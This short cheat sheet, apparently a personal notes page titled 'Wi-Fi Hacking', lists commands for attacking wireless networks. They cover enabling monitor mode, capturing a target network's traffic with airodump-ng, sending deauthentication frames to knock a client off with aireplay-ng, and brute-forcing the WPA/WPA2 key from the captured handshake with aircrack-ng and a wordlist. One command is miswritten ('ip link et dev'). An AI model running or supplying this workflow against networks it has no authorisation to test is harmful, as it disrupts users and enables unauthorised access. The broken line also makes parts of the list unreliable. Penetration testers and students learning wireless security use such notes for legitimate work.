Wi-Fi Hacking
List of commands:
iw dev- Shows wireless devices nad their configurationssudo iw dev $INTERFACE scan- Scans the area for available wireless networkssudo ip link et dev $INTERFACE [up/down]- Turns device on or offsudo iw dev $INTERFACE set type monitor- Sets interface to be on monitor modesudo iw dev $INTERFACE info- Gives full info on interfacesudo airodump-ng $INTERFACE- Provides a list of nearby wifi networks with details like channelsudo airodump-ng -c $CHANNEL --bssid $BSSID_MAC -w $OUTPUT_FILES $INTERFACE- Targets network channel and captures trafficsudo aireplay-ng -0 1 -a $BSSID_MAC -c $BSSID_CLIENT $INTERFACE- Sends deauthentication attack to a wifi clientsudo aircrack-ng -a 2 -b $BSSID_MAC -w $ROCKYOU $OUTPUT_CAP- Brute forces WPA/WPA2 wifi key using WPA handshake and dictionarywpa_passphrase $SSID $PASSPHRASE > $KEYFILE- Generate a key file for accessing a wifi networksudo wpa_supplicant -B -c $KEYFILE -i $INTERFACE- Connect interface to wifi network
Last updated